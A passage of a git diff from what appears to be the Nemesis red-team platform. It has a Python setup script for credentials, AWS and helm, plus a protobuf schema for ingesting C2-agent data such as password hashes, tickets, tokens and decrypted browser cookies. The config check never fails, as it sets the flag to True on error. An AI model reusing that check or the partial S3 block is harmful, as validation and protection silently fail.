+ v.set("basic_auth_user", "nemesis")
+
+ if not v.get("basic_auth_password") or v.get("basic_auth_password") == "":
+ basic_auth_kubectl = get_kubectl_value("basic_auth_password")
+ if basic_auth_kubectl:
+ v.set("basic_auth_password", basic_auth_kubectl)
+ else:
+ # set a random basic auth password if not supplied or already set
+ v.set("basic_auth_password", get_random_password(24))
+
+ if not v.get("elasticsearch_user") or v.get("elasticsearch_user") == "":
+ elasticsearch_user_kubectl = get_kubectl_value("elasticsearch_user")
+ if elasticsearch_user_kubectl:
+ v.set("elasticsearch_user", elasticsearch_user_kubectl)
+ else:
+ v.set("elasticsearch_user", "nemesis")
+
+ if not v.get("elasticsearch_password") or v.get("elasticsearch_password") == "":
+ elasticsearch_password_kubectl = get_kubectl_value("elasticsearch_password")
+ if elasticsearch_password_kubectl:
+ v.set("elasticsearch_password", elasticsearch_password_kubectl)
+ else:
+ # set a random elasticsearch password if not supplied or already set
+ v.set("elasticsearch_password", get_random_password(24))
+
+ if not v.get("postgres_user") or v.get("postgres_user") == "":
+ postgres_user_kubectl = get_kubectl_value("postgres_user")
+ if postgres_user_kubectl:
+ v.set("postgres_user", postgres_user_kubectl)
+ else:
+ v.set("postgres_user", "nemesis")
+
+ if not v.get("postgres_password") or v.get("postgres_password") == "":
+ postgres_password_kubectl = get_kubectl_value("postgres_password")
+ if postgres_password_kubectl:
+ v.set("postgres_password", postgres_password_kubectl)
+ else:
+ # set a random password if not supplied or already set
+ v.set("postgres_password", get_random_password(24))
+
+ if not v.get("dashboard_user") or v.get("dashboard_user") == "":
+ dashboard_user_kubectl = get_kubectl_value("dashboard_user")
+ if dashboard_user_kubectl:
+ v.set("dashboard_user", dashboard_user_kubectl)
+ else:
+ v.set("dashboard_user", "nemesis")
+
+ if not v.get("dashboard_password") or v.get("dashboard_password") == "":
+ dashboard_password_kubectl = get_kubectl_value("dashboard_password")
+ if dashboard_password_kubectl:
+ v.set("dashboard_password", dashboard_password_kubectl)
+ else:
+ # set a random password if not supplied or already set
+ v.set("dashboard_password", get_random_password(24))
+
+ if not v.get("pgadmin_email") or v.get("pgadmin_email") == "":
+ pgadmin_email_kubectl = get_kubectl_value("pgadmin_email")
+ if pgadmin_email_kubectl:
+ v.set("pgadmin_email", pgadmin_email_kubectl)
+ else:
+ v.set("pgadmin_email", "nemesis@nemesis.com")
+
+ if not v.get("pgadmin_password") or v.get("pgadmin_password") == "":
+ pgadmin_password_kubectl = get_kubectl_value("pgadmin_password")
+ if pgadmin_password_kubectl:
+ v.set("pgadmin_password", pgadmin_password_kubectl)
+ else:
+ # set a random pgadmin password if not supplied or already set
+ v.set("pgadmin_password", get_random_password(24))
+
+ if not v.get("grafana_user") or v.get("grafana_user") == "":
+ grafana_user_kubectl = get_kubectl_value("grafana_user")
+ if grafana_user_kubectl:
+ v.set("grafana_user", grafana_user_kubectl)
+ else:
+ v.set("grafana_user", "nemesis")
+
+ if not v.get("grafana_password") or v.get("grafana_password") == "":
+ grafana_password_kubectl = get_kubectl_value("grafana_password")
+ if grafana_password_kubectl:
+ v.set("grafana_password", grafana_password_kubectl)
+ else:
+ # set a random password if not supplied or already set
+ v.set("grafana_password", get_random_password(24))
+
+ if not v.get("data_expiration_days") or v.get("data_expiration_days") == "":
+ data_expiration_days_kubectl = get_kubectl_value("data_expiration_days")
+ if data_expiration_days_kubectl:
+ v.set("data_expiration_days", data_expiration_days_kubectl)
+ else:
+ v.set("data_expiration_days", "100")
+
+ if not v.get("rabbitmq_admin_user") or v.get("rabbitmq_admin_user") == "":
+ rabbitmq_admin_user_kubectl = get_kubectl_value("rabbitmq_admin_user")
+ if rabbitmq_admin_user_kubectl:
+ v.set("rabbitmq_admin_user", rabbitmq_admin_user_kubectl)
+ else:
+ v.set("rabbitmq_admin_user", "nemesis")
+
+ if not v.get("rabbitmq_admin_password") or v.get("rabbitmq_admin_password") == "":
+ rabbitmq_admin_password_kubectl = get_kubectl_value("rabbitmq_admin_password")
+ if rabbitmq_admin_password_kubectl:
+ v.set("rabbitmq_admin_password", rabbitmq_admin_password_kubectl)
+ else:
+ # set a random password if not supplied or already set
+ v.set("rabbitmq_admin_password", get_random_password(24))
+
+ if not v.get("rabbitmq_connectionuri") or v.get("rabbitmq_connectionuri") == "":
+ rabbitmq_connectionuri_kubectl = get_kubectl_value("rabbitmq_connectionuri")
+ if rabbitmq_connectionuri_kubectl:
+ v.set("rabbitmq_connectionuri", rabbitmq_connectionuri_kubectl)
+ else:
+ # set a uri from provided user/pass
+ rabbitmq_user = v.get("rabbitmq_admin_user")
+ rabbitmq_password = v.get("rabbitmq_admin_password")
+ v.set("rabbitmq_connectionuri", f"amqp://{rabbitmq_user}:{rabbitmq_password}@nemesis-rabbitmq-svc:5672/")
+
+ if not v.get("rabbitmq_erlang_cookie") or v.get("rabbitmq_erlang_cookie") == "":
+ rabbitmq_erlang_cookie_kubectl = get_kubectl_value("rabbitmq_erlang_cookie")
+ if rabbitmq_erlang_cookie_kubectl:
+ v.set("rabbitmq_erlang_cookie", rabbitmq_erlang_cookie_kubectl)
+ else:
+ # set a random password if not supplied or already set
+ v.set("rabbitmq_erlang_cookie", get_random_password(24))
+
+
+ # make sure we have everything set
+ all_values_set = True
+ for config_key in config_keys:
+ if not v.get(config_key) and not get_kubectl_value(config_key):
+ logger.error(f"\n[!] Required configuration key value '{config_key}' not supplied and not already present!\n")
+ all_values_set = True
+
+ if not all_values_set:
+ sys.exit(1)
+
+
+def validate_aws_resources():
+ """Checks for the presence of the proper AWS resources, creating them if they're not present."""
+
+ aws_access_key_id = v.get("aws_access_key_id")
+ if not aws_access_key_id:
+ logger.error("aws_access_key_id not set, aws validation can't proceed\n")
+ sys.exit(1)
+
+ aws_secret_key = v.get("aws_secret_key")
+ if not aws_secret_key:
+ logger.error("aws_secret_key not set, aws validation can't proceed\n")
+ sys.exit(1)
+
+ aws_region = v.get("aws_region")
+ if not aws_region:
+ logger.error("aws_region not set, aws validation can't proceed\n")
+ sys.exit(1)
+
+ aws_bucket = v.get("aws_bucket")
+ if not aws_bucket:
+ logger.error("aws_bucket not set, aws validation can't proceed\n")
+ sys.exit(1)
+
+ aws_kms_key_alias = v.get("aws_kms_key_alias")
+ if not aws_kms_key_alias:
+ logger.error("aws_kms_key_alias not set, aws validation can't proceed\n")
+ sys.exit(1)
+
+ assessment_id = v.get("assessment_id")
+ if not assessment_id:
+ logger.error("assessment_id not set, aws validation can't proceed\n")
+ sys.exit(1)
+
+ kms_client = boto3.client(
+ "kms",
+ aws_access_key_id=aws_access_key_id,
+ aws_secret_access_key=aws_secret_key,
+ region_name=aws_region,
+ )
+
+ s3_client = boto3.client(
+ "s3",
+ aws_access_key_id=aws_access_key_id,
+ aws_secret_access_key=aws_secret_key,
+ region_name=aws_region,
+ )
+
+ try:
+ s3_client.head_bucket(Bucket=aws_bucket)
+ logger.info(f"S3 bucket '{aws_bucket}' exists")
+ except:
+ if not v.get("force"):
+ output = input(f"\n[*] S3 bucket '{aws_bucket}' does not exist, do you want to create it? [Y/n] ")
+
+ if v.get("force") or output == "" or output.lower() == "y":
+ # create the bucket with a 'private' ACL
+ try:
+ response = s3_client.create_bucket(
+ ACL="private",
+ Bucket=aws_bucket,
+ )
+ except Exception as e:
+ logger.error(f"Error creating S3 bucket '{aws_bucket}' (bucket name is likely already taken) : {e}\n")
+ sys.exit(1)
+
+ # ensure the bucket/objects can't be public
+ response = s3_client.put_public_access_block(
+ Bucket=aws_bucket,
+ PublicAccessBlockConfiguration={
+ "IgnorePublicAcls": True,
+ },
+ )
+ # BlockPublicAcls / BlockPublicPolicy / RestrictPublicBuckets ?
+
+ # ensure server side bucket encyption is enabled
+ response = s3_client.put_bucket_encryption(
+ Bucket=aws_bucket,
+ ServerSideEncryptionConfiguration={
+ "Rules": [
+ {
+ "ApplyServerSideEncryptionByDefault": {
+ "SSEAlgorithm": "AES256",
+ },
+ },
+ ]
+ },
+ )
+
+ logger.info(f"S3 bucket key '{aws_bucket}' created!\n")
+
+ else:
+ logger.error(f"S3 bucket '{aws_bucket}' doesn't exist, file storage will not work!\n")
+ sys.exit(1)
+
+ # check if the KMS key already exists
+ aws_kms_key_exists = False
+ try:
+ output = kms_client.describe_key(KeyId=f"alias/{aws_kms_key_alias}")
+ aws_kms_key_state = output["KeyMetadata"]["KeyState"]
+ aws_kms_key_exists = True
+ logger.info(f"KMS key '{aws_kms_key_alias}' exists")
+ except:
+ pass
+
+ if not aws_kms_key_exists:
+ if not v.get("force"):
+ output = input(f"\n[*] KMS key '{aws_kms_key_alias}' does not exist, do you want to create it? [Y/n] ")
+
+ if v.get("force") or output == "" or output.lower() == "y":
+ response = kms_client.create_key(Description=f"key for {assessment_id}")
+ keyId = response["KeyMetadata"]["KeyId"]
+ kms_client.create_alias(AliasName=f"alias/{aws_kms_key_alias}", TargetKeyId=keyId)
+ logger.info(f"KMS key '{aws_kms_key_alias}' (ID {keyId}) created!\n")
+ else:
+ logger.error(f"KMS key '{aws_kms_key_alias}' doesn't exist, file encryption will not work!\n")
+ sys.exit(1)
+ elif aws_kms_key_state != "Enabled":
+ logger.error(f"Key state for KMS key '{aws_kms_key_alias}' is '{aws_kms_key_state}', encryption will not work!")
+ sys.exit(1)
+
+
+def create_ingress_controller():
+
+ # Some jank to check if the nginx controller is installed in Kubernetes
+ exitcode, output = subprocess.getstatusoutput("kubectl get --raw /apis/admissionregistration.k8s.io/v1/validatingwebhookconfigurations | grep 'validate.nginx.ingress.kubernetes.io'")
+ if exitcode == 0:
+ logger.info("Ingress controller already installed, skipping")
+ return
+
+ # create local self-signed certs and store them as a secret for ingress auth
+ logger.info("Creating self-signed SSL certificates")
+ run_cmd(
+ 'openssl req -x509 -newkey rsa:4096 -sha256 -nodes -keyout /tmp/tls.key -out /tmp/tls.crt -subj "/CN=nemesis.local" -days 365 -addext "subjectAltName = DNS:nemesis.local"',
+ show_error=True,
+ )
+ run_cmd("kubectl create secret tls nemesis-ingress-tls --cert=/tmp/tls.crt --key=/tmp/tls.key")
+ run_cmd("kubectl create secret tls nemesis-ingress-tls --cert=/tmp/tls.crt --key=/tmp/tls.key -n monitoring")
+
+ logger.info(f"Installing ingress-nginx controller using helm")
+ run_cmd(
+ "helm upgrade --install ingress-nginx ingress-nginx"
+ " --repo https://kubernetes.github.io/ingress-nginx"
+ " --namespace ingress-nginx"
+ " --create-namespace"
+ " --set prometheus.create=true"
+ " --set prometheus.port=9113"
+ f" --set tcp.5044=\"default/nemesis-ls-beats:5044\"",
+ show_error=True,
+ )
+
+
+def create_minio():
+ # check if the chart is already installed
+ exitcode, output = subprocess.getstatusoutput("helm status minio")
+ if exitcode == 0:
+ logger.info("Minio chart already installed, skipping")
+ return
+
+ logger.info("Installing the Minio operator using helm")
+ run_cmd("helm repo add elastic https://helm.elastic.co")
+
+ # minio_storage_size = v.get("minio_storage_size")
+ minio_root_user = v.get("minio_root_user")
+ minio_root_password = v.get("minio_root_password")
+ minio_storage_size = v.get("minio_storage_size")
+ # nemesis_http_server = v.get("nemesis_http_server").rstrip("/")
+
+ run_cmd("helm repo add bitnami https://charts.bitnami.com/bitnami")
+ run_cmd("helm repo update")
+ run_cmd(
+ "helm install minio bitnami/minio "
+ "--set 'extraEnvVars[0].name=MINIO_BROWSER_LOGIN_ANIMATION' --set 'extraEnvVars[0].value=\"off\"' "
+ f"--set persistence.size={minio_storage_size} "
+ f"--set auth.rootUser={minio_root_user} "
+ f"--set auth.rootPassword='{minio_root_password}' ")
+ # "--set 'extraEnvVars[0].name=MINIO_CONSOLE_SUBPATH' --set 'extraEnvVars[0].value=\"/minio/\"' "
+ # f"--set 'extraEnvVars[1].name=MINIO_BROWSER_REDIRECT_URL' --set 'extraEnvVars[1].value=\"{nemesis_http_server}/minio/\"'",)
+
+def create_elastic_operator():
+ # Check if the elastic operator is already installed
+ exitcode, output = subprocess.getstatusoutput("kubectl get crds | grep 'k8s.elastic.co'")
+ if exitcode == 0:
+ logger.info("ECK operator already installed, skipping")
+ return
+
+ logger.info("Installing the ECK operator using helm")
+ run_cmd("helm repo add elastic https://helm.elastic.co")
+ run_cmd("helm repo update")
+
+ run_cmd(
+ "helm install elastic-operator elastic/eck-operator"
+ " --namespace elastic-system"
+ " --create-namespace"
+ " --set managedNamespaces='{default}'"
+ )
+
+
+def create_metrics_server():
+ exitcode, output = subprocess.getstatusoutput("kubectl get pods -A | grep 'metrics-server'")
+ if exitcode == 0:
+ logger.info("Metrics Server already installed, skipping")
+ return
+
+ # create local self-signed certs and store them as a secret for ingress auth
+ logger.info("Creating metrics server")
+ dir = os.path.realpath(os.path.dirname(__file__))
+ run_cmd(f"kubectl apply -f '{dir}/kubernetes/metrics-server/metrics-server.yaml'")
+
+
+if __name__ == "__main__":
+ print_logo()
+
+ # 1. parse any environment variables first
+ config_values = [
+ "aws_region",
+ "aws_bucket",
+ "aws_kms_key_alias",
+ "aws_access_key_id",
+ "aws_secret_key",
+ "minio_root_user",
+ "minio_root_password",
+ "minio_storage_size",
+ "storage_provider",
+ "assessment_id",
+ "nemesis_http_server",
+ "data_expiration_days",
+ "log_level",
+ "slack_channel",
+ "slack_webhook",
+ "basic_auth_password",
+ "basic_auth_user",
+ "elasticsearch_password",
+ "elasticsearch_user",
+ "postgres_user",
+ "postgres_password",
+ "dashboard_user",
+ "dashboard_password",
+ "pgadmin_email",
+ "pgadmin_password",
+ "grafana_password",
+ "grafana_user",
+ "rabbitmq_admin_user",
+ "rabbitmq_admin_password",
+ "rabbitmq_erlang_cookie",
+ ]
+
+ extra_settings = ["nemesis_config", "force"]
+
+ env_vars = config_values + extra_settings
+
+ for env_var in env_vars:
+ v.bind_env(env_var)
+ v.automatic_env()
+
+ parser = argparse.ArgumentParser(description="Nemesis settings")
+
+ # args specific to this program
+ parser.add_argument(
+ "--config", "-c", default="nemesis.config", type=str, help="Nemesis config (default: nemesis.config)"
+ )
+ parser.add_argument("--force", "-f", action=argparse.BooleanOptionalAction, help="Don't prompt for any input")
+
+ # aws configs
+ parser.add_argument("--aws_region", "--aws-region", "--region", type=str, help="AWS region (default: us-east-1)")
+ parser.add_argument("--aws_bucket", "--aws-bucket", "--bucket", type=str, help="AWS S3 bucket name")
+ parser.add_argument("--aws_kms_key_alias", "--aws-kms-key-alias", "--kms", type=str, help="AWS KMS key alias")
+ parser.add_argument(
+ "--aws_access_key_id", "--aws-access-key-id", "--key_id", "--key-id", type=str, help="AWS access key ID"
+ )
+ parser.add_argument(
+ "--aws_secret_key", "--aws-secret-key", "--secret_key", "--secret-key", type=str, help="AWS secret key value"
+ )
+
+ # minio configs
+ parser.add_argument("--minio_root_user", "--minio-root-user", type=str, help="Minio root user")
+ parser.add_argument("--minio_root_password", "--minio-root-password", type=str, help="Minio root password")
+ parser.add_argument("--minio_storage_size", "--minio-storage-size", type=str, help="Size of Minio persistent storage")
+ parser.add_argument("--storage_provider", "--storage-provider", type=str, choices=["s3", "mimio"], help="Storage provider to use")
+
+ # operation configs
+ parser.add_argument("--assessment_id", "--assessment-id", type=str, help="Asessment ID")
+ parser.add_argument("--nemesis_http_server", "--ip", type=str, help="Nemesis frontend HTTP server endpoint. Format: http://:")
+ parser.add_argument(
+ "--data_expiration_days", "--exp", type=int, help="Days after ingestion to set data to expire (default: 100)"
+ )
+ parser.add_argument("--log_level", "--log", type=str, help="Level of logging (default: info)")
+ parser.add_argument("--slack_channel", "--channel", type=str, help="Slack channel name for alerting.")
+ parser.add_argument("--slack_webhook", "--webhook", type=str, help="Slack https://... webhook for alerting.")
+ parser.add_argument("--basic_auth_user", "--user", type=str, help="User to use for basic auth to the web-api")
+ parser.add_argument(
+ "--basic_auth_password", "--password", type=str, help="Password to use for basic auth to the web-api"
+ )
+ parser.add_argument("--elasticsearch_user", "--es_user", type=str, help="Username for Elasticsearch/Kibana")
+ parser.add_argument("--elasticsearch_password", "--es_password", type=str, help="Password for Elasticsearch/Kibana")
+ parser.add_argument("--postgres_user", "--pg_user", type=str, help="Username for Postgres")
+ parser.add_argument("--postgres_password", "--pg_password", type=str, help="Password for Postgres")
+ parser.add_argument("--dashboard_user", type=str, help="Username for the Nemesis dashboard")
+ parser.add_argument("--dashboard_password", type=str, help="Password for the Nemesis dashboard")
+ parser.add_argument("--pgadmin_email", "--pgemail", type=str, help="Email (username) for pgAdmin")
+ parser.add_argument("--pgadmin_password", "--pgpassword", type=str, help="Password for pgAdmin")
+ parser.add_argument("--grafana_user", "--guser", type=str, help="Username for Grafana")
+ parser.add_argument("--grafana_password", "--gpassword", type=str, help="Password for Grafana")
+ parser.add_argument("--rabbitmq_admin_user", "--ruser", type=str, help="Admin username for RabbitMQ")
+ parser.add_argument("--rabbitmq_admin_password", "--rpassword", type=str, help="Admin password for RabbitMQ")
+ parser.add_argument("--rabbitmq_erlang_cookie", "--rcookie", type=str, help="Erlang cookie for RabbitMQ clusters")
+
+ args = parser.parse_args()
+
+ # 2. next parse values from a local yaml config (if present and non-empty)
+ # the config location can be set with --config=X, -c=X, or the NEMESIS_CONFIG env variable
+ nemesis_config = v.get("nemesis_config") if v.get("nemesis_config") else args.config
+ if os.path.exists(nemesis_config) and os.path.getsize(nemesis_config) > 0:
+ v.set_config_type("yaml")
+ with open(nemesis_config) as f:
+ try:
+ v.read_config(f.read())
+ logger.info(f"Parsed config file: {nemesis_config}")
+ except Exception as e:
+ logger.error(f"Excepting parsing config '{nemesis_config}' : {e}\n")
+ sys.exit(1)
+
+ # 3. parse cli arguments override and have them take precedence
+ v.bind_args(parser)
+
+ # make sure kubernetes is running
+ validate_kubernetes()
+ validate_config_values(config_values)
+ set_config_values(config_values)
+ if v.get("storage_provider") == "s3":
+ validate_aws_resources()
+ # ensure minio is removed
+ run_cmd("helm uninstall minio")
+ elif v.get("storage_provider") == "minio":
+ create_minio()
+ create_ingress_controller()
+ create_elastic_operator()
+ create_metrics_server()
+
+ logger.info("Configuration set")
+
+ logger.info(
+ f"Nemesis basic auth credentials: `{get_kubectl_value('basic_auth_user')}:{get_kubectl_value('basic_auth_password')}`"
+ )
+
+ logger.info("If settings were changed, you may need to restart minikube with: `minikube stop && minikube start`")
+ logger.info(
+ "You can start the backend infrastructure in development mode with `./scripts/infra_start.sh`"
+ )
+ logger.info(
+ "You can start the main processing services in development mode with `./scripts/services_start.sh`"
+ )
+ logger.info(
+ "For non-development execution, run `skaffold run --port-forward`\n"
+ )
diff --git a/packages/protobufs/nemesis.proto b/packages/protobufs/nemesis.proto
new file mode 100644
index 0000000..673b895
--- /dev/null
+++ b/packages/protobufs/nemesis.proto
@@ -0,0 +1,1799 @@
+syntax = "proto3";
+package server;
+
+import "google/protobuf/timestamp.proto";
+option go_package = "pkg.specterops.io/nemesis/nemesispb";
+
+
+
+////////////////////////////////////////////////////
+//
+// General messages
+//
+////////////////////////////////////////////////////
+
+// Generic Error message
+message Error {
+ string error = 1;
+}
+
+
+// Used by containers to signal the "alerting" container
+message Alert {
+ // Currently just "slack"
+ string type = 1;
+
+ // Text to send for the alert
+ string text = 2;
+
+ // The service the message originated from (optional)
+ string originating_service = 3;
+}
+
+
+////////////////////////////////////////////////////
+//
+// Nemesis API Ingestion Messages
+//
+////////////////////////////////////////////////////
+
+
+// Metadata header that's send with every message to the API
+// ODR: defined in README.md
+message Metadata {
+ // Name or unique identifier for an agent
+ string agent_id = 1;
+
+ // Name of the type of agent (ex. beacon)
+ string agent_type = 2;
+
+ // If the submission was automatically or manually sent
+ bool automated = 3;
+
+ // Name of the ODR the body must conform to
+ string data_type = 4;
+
+ // The semi-unique source for the data
+ // For host-related data_types, this is the hostname
+ // For network-related data_types, this is the network name
+ // For AD-related data_types, this is the full qualified domain name
+ string source = 5;
+
+ // Name or unique identifier for a project
+ string project = 6;
+
+ // Time the C2 platform sent the data to the ODS
+ google.protobuf.Timestamp timestamp = 7;
+
+ // Time the data should be removed from the ODS
+ google.protobuf.Timestamp expiration = 8;
+
+ // Name or unique identifier for a message
+ string message_id = 9;
+}
+message MetadataHeader {
+ Metadata metadata = 1;
+}
+
+
+// Data that may be used to authenticate to a resource. The resource does not
+// need to be accessible over a network and a local resource may be specified
+// using the file:// scheme in the URI parameter. The type data may be anything
+// that may be used to authenticate such as a password, certificate, JWT, SAML
+// token, TGT, NTLM hash, private key, etc. The authentication data does not
+// need to be additionally encoded because all ODR string parameters already
+// support hex encoding values.
+// ODR: `authentication_data`, defined in docs/odr/references/authentication_data.md
+// See authentication_data.md for supported "type" values.
+message AuthenticationDataIngestion {
+ // Case sensitive data or a Nemesis UUID reference (if over 1k)
+ string data = 1;
+
+ // type of the authentication data
+ string type = 2;
+
+ // Boolean for if data is a reference to a binary submission
+ bool is_file = 3;
+
+ // Location of where the data is valid
+ string uri = 4;
+
+ // Simple or FQDN username
+ string username = 5;
+
+ // any additional notes/context
+ string notes = 6;
+
+ // the Nemesis UUID referencing the original file the hash was extracted from (if applicable)
+ string originating_object_id = 7;
+}
+message AuthenticationDataIngestionMessage {
+ Metadata metadata = 1;
+ repeated AuthenticationDataIngestion data = 2;
+}
+
+
+// The content of a specific file system resource. The path must be in a UNC,
+// file system, or mapped path format. File system and mapped paths must be
+// absolute and use forward slashes for separators (e.g. /). Paths are expected
+// to be canonicalized but there is no verification of this.
+// ODR: `file_data`, defined in file_data.md
+message FileDataIngestion {
+ // Nemesis UUID referring to the uploaded file
+ string object_id = 1;
+
+ // Case sensitive file path
+ string path = 2;
+
+ // Size of the file, in bytes
+ uint64 size = 3;
+
+ // If the file was extracted from another existing file in Nemesis (e.g., a zip or jar),
+ // this optional field is the Nemesis UUID referencing the original file
+ string originating_object_id = 4;
+}
+message FileDataIngestionMessage {
+ Metadata metadata = 1;
+ repeated FileDataIngestion data = 2;
+}
+
+
+// Information about a specific file system resource. Note that file_info is
+// more specialized than the path_list submission which may include information
+// about non-file system resources (ex. registry paths). The path must be in a
+// UNC, file system, or mapped path format. File system and mapped paths must be
+// absolute and use forward slashes for separators (e.g. /). Paths are expected
+// to be canonicalized but there is no verification of this. Submission
+// parameters may accommodate files from most operating systems. The only
+// submission parameters that are required is the file path and type. Note that
+// all date time parameters in ODRs including for the modified, access, and
+// creation times for Windows files are expected to be UTC.
+message FileInformationIngestion {
+ // case sensitive file path
+ string path = 1;
+
+ // case insensitive full name of file type
+ // currently: file, folder, share
+ string type = 3;
+
+ // size in bytes
+ uint64 size = 5;
+
+ // file creation time in UTC
+ google.protobuf.Timestamp creation_time = 7;
+
+ // file last access time in UTC
+ google.protobuf.Timestamp access_time = 9;
+
+ // file modification time in UTC
+ google.protobuf.Timestamp modification_time = 11;
+
+ // *nix permission number
+ uint32 access_mode = 13;
+
+ // *nix case sensitive file group membership
+ string group = 15;
+
+ // *nix string for an inode or file id
+ string id = 17;
+
+ // case sensitive owner (*nix and Windows)
+ string owner = 19;
+
+ // case sensitive Windows permission string
+ string sddl = 21;
+
+ // optional Windows VersionInfo fields
+ string version_info = 30;
+}
+message FileInformationIngestionMessage {
+ Metadata metadata = 1;
+ repeated FileInformationIngestion data = 2;
+}
+
+
+// Used in ProcessIngestion
+message Principal {
+ // Security identifier, if known
+ string sid = 1;
+
+ // Name of the principal, if known. The format should be the Down-Level Logon Name (e.g., DOMAIN\user)
+ string name = 2;
+}
+message Token {
+ message TokenPrivilege {
+ // Privilege name (e.g., SeDebugPrivilege)
+ string privilege_name = 1;
+
+ // Is the privileged enabled
+ bool enabled = 2;
+ }
+ enum TokenType {
+ TOKENTYPE_UNSPECIFIED = 0;
+ TOKENTYPE_PRIMARY = 1;
+ TOKENTYPE_IMPERSONATION = 2;
+ }
+ enum ImpersonationLevel {
+ IMPERSONATIONLEVEL_UNSPECIFIED = 0;
+ IMPERSONATIONLEVEL_ANONYMOUS = 1;
+ IMPERSONATIONLEVEL_IDENTIFICATION = 2;
+ IMPERSONATIONLEVEL_IMPERSONATION = 3;
+ IMPERSONATIONLEVEL_DELEGATION = 4;
+ }
+
+ Principal user = 1;
+
+ repeated Principal groups = 2;
+
+ repeated TokenPrivilege privileges = 3;
+
+ TokenType type = 4;
+
+ ImpersonationLevel impersonation_level = 5;
+
+ uint32 session = 6;
+}
+
+
+// Information about the currently running processes for the host the agent is
+// running on. The file_name parameter must be in a UNC, file system, or mapped
+// path format. File system and mapped paths must be absolute and use forward
+// slashes for separators (e.g. /). Paths are expected to be canonicalized but
+// there is no verification of this. Submission parameters may accommodate
+// processes information for most operating systems. The only submission
+// parameter that is required is the process id. Note that all start time
+// parameters are expected to be from the Unix epoch.
+message ProcessIngestion {
+ // The name of the process
+ string name = 1;
+
+ // The current command line information
+ string command_line = 2;
+
+ // If known, the file that was executed
+ string file_name = 3;
+
+ // Process id
+ int32 process_id = 4;
+
+ // Parent process id
+ int32 parent_process_id = 5;
+
+ // Architecture of the process
+ string arch = 6;
+
+ // When the process was started
+ google.protobuf.Timestamp start_time = 7;
+
+ // The amount of memory used by the process, in bytes
+ int64 memory = 8;
+
+ // If present, Windows token information
+ Token token = 9;
+}
+message ProcessIngestionMessage {
+ Metadata metadata = 1;
+ repeated ProcessIngestion data = 2;
+}
+
+
+// Data that may consist of anything. Developers and operators may use this type
+// to push arbitrary data to the ODS to take advantage of any builtin or custom
+// automated post processing the ODS performs. Example use cases include daily
+// status reports, C2 logs, and other data that may be unique to the workflow of
+// a team.
+message RawDataIngestion {
+ // User defined case insensitive keywords
+ repeated string tags = 1;
+
+ // Boolean for if data is a reference to a binary submission
+ bool is_file = 2;
+
+ // Raw data or a UUID reference to data in the ODS
+ string data = 3;
+}
+message RawDataIngestionMessage {
+ Metadata metadata = 1;
+ repeated RawDataIngestion data = 2;
+}
+
+
+message RegistryValueIngestion {
+ enum RegistryValueKind {
+ UNKNOWN = 0;
+ STRING = 1;
+ EXPAND_STRING = 2;
+ BINARY = 3;
+ DWORD = 4;
+ DWORD_BIG_ENDIAN = 5;
+ LINK = 6;
+ MULTI_STRING = 7;
+ QWORD = 11;
+ }
+
+ // Case-sensitive absolute registry key path. Use backslashes for separators (e.g. `HKLM\Software`)
+ // This is the only required field since without it the others do not make sense.Alert
+ // If all other fields aren't present, this indicates that the key exists and may or may not have values.
+ string key = 1;
+
+ // (optional) Case sensitive value name. Set this to the empty string to indicate a key's default value.
+ optional string value_name = 2;
+
+ // (optional) Type of the registry value
+ optional RegistryValueKind value_kind = 3;
+
+ // (optional) string representation of the value
+ optional string value = 4;
+
+ // (optional) string SDDL representation of key's security descriptor
+ optional string sddl = 5;
+
+ // (optional) string comma separated tags for the registry key
+ optional string tags = 6;
+}
+message RegistryValueIngestionMessage {
+ Metadata metadata = 1;
+ repeated RegistryValueIngestion data = 2;
+}
+
+
+// Child listings for a specified path. The path must be in a UNC, URI, file
+// system, or mapped path format. File system and mapped paths must be absolute
+// and use forward slashes for separators (e.g. /). Paths are expected to be
+// canonicalized but there is no verification of this. The mapped file format
+// may be used to specify a registry keys as well using PowerShell convention of
+// specifying the hive name as the drive (ex. HKLM:).
+message PathListIngestion {
+ // Case sensitive resource path
+ string path = 1;
+
+ // Case sensitive child items
+ repeated string items = 2;
+}
+message PathListIngestionMessage {
+ Metadata metadata = 1;
+ repeated PathListIngestion data = 2;
+}
+
+
+// Information about Windows services.
+message ServiceIngestion {
+ // Case sensitive service name.
+ string name = 1;
+
+ // Case sensitive service display name.
+ string display_name = 2;
+
+ // Case sensitive service description
+ string description = 3;
+
+ // Case sensitive username the service starts as
+ string start_name = 4;
+
+ // Case insensitive state of the service (running, stopped, etc.)
+ string state = 5;
+
+ // Case insensitive start mode of the service (automatic, disabled, etc.)
+ string start_mode = 6;
+
+ // Case insensitive type of the service.
+ string type = 7;
+
+ // Case sensitive, quote-escaped, binary path of the serbice binary + any arguments
+ string service_command = 8;
+
+ // Case sensitive file path of the service DLL being loaded into SVCHOST
+ string service_dll = 9;
+
+ // Case sensitive Windows permission string
+ string service_sddl = 10;
+}
+message ServiceIngestionMessage {
+ Metadata metadata = 1;
+ repeated ServiceIngestion data = 2;
+}
+
+
+// Information about Windows named pipes.
+message NamedPipeIngestion {
+ // Case sensitive name.
+ string name = 1;
+
+ // Name of the server process that for named pipe, if known
+ string server_process_name = 2;
+
+ // PID of the server process that for named pipe, if known
+ int32 server_process_id = 3;
+
+ // Path of the server process that for named pipe, if known
+ string server_process_path = 4;
+
+ // Case sensitive Windows permission string
+ string sddl = 5;
+}
+message NamedPipeIngestionMessage {
+ Metadata metadata = 1;
+ repeated NamedPipeIngestion data = 2;
+}
+
+
+message CookieIngestion {
+ // Path of the user data folder, if known.
+ string user_data_directory = 1;
+
+ // Domain/host_key for the cookie
+ string domain = 2;
+
+ // Path on the domain for the cookie.
+ string path = 3;
+
+ // Name of the cookie value.
+ string name = 4;
+
+ // Plaintext decrypted cookie value (if decrypted).
+ string value = 5;
+
+ // Base64 encoding of encrypted value bytes.
+ string value_enc = 6;
+
+ // Timestamp of when the cookie expires.
+ google.protobuf.Timestamp expires = 10;
+
+ // Timestamp of when the cookie was created.
+ google.protobuf.Timestamp creation = 11;
+
+ // Timestamp of when the cookie was last accessed.
+ google.protobuf.Timestamp last_access = 12;
+
+ // Timestamp of when the cookie was last updated.
+ google.protobuf.Timestamp last_update = 13;
+
+ // True/1 if the cookie can only be accessed by the server.
+ bool secure = 15;
+
+ // True/1 if the cookie can only be accessed by the server.
+ bool http_only = 16;
+
+ // True if the cookie is deleted when the user closes their browser.
+ bool session = 17;
+
+ // STRICT/LAX/NONE, protection against CSRF attacks.
+ string samesite = 18;
+
+ // The port number of the source origin.
+ uint32 source_port = 19;
+}
+message CookieIngestionMessage {
+ Metadata metadata = 1;
+ repeated CookieIngestion data = 2;
+}
+
+
+// Connections between the host the agent is running with itself or another
+// host. These could also be listening ports (i.e., netstat output)
